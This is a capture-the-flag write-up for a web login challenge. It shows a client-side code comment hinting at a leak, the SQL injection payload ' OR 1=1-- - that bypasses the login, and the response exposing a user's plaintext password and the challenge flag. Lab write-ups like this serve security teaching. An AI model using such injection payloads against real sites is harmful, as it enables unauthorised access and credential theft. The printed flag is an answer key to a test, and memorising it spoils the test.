Description:

Web applications are tricky these days and we are seeing an influx of vibe coded platforms. Well, time to put your black hat on and see if you can gain access to this website. Don’t just brute force a massive dictionary. Take a look at GhostTown for potential resources to gain access.

NOTE: Do not perform port scanning on this host, only the address and port discovered in OSINT matter.

TARGET: http://TARGET-IP:PORT/

Solution:

Fire up Burp Suite and access the website.

After poking around the site’s APIs and looking for cookies I saw a comment in the code:

const data = await res.json();
if (!data.token) {
	// No session issued -- bad creds, or the SQLi disclosure (HTTP 200 with
    // no token). Show the server's message; the response body may contain
    // more than the UI chooses to display.
    showError(data.message || data.error || 'Login failed.');
    return;
}

So I started trying a couple of different basic SQLi payloads:

After a couple of SQLi payloads I ended up with:

' OR 1=1-- - was the winner.

"message":"Login failed. That's weird... check the network traffic!",
"username":"john.smith",
"name":"John Smith",
"role":"user",
"departmentid":10685,
"password":"Locked_In_And_Ready",
"flag":"deadface{typical_and_classic}"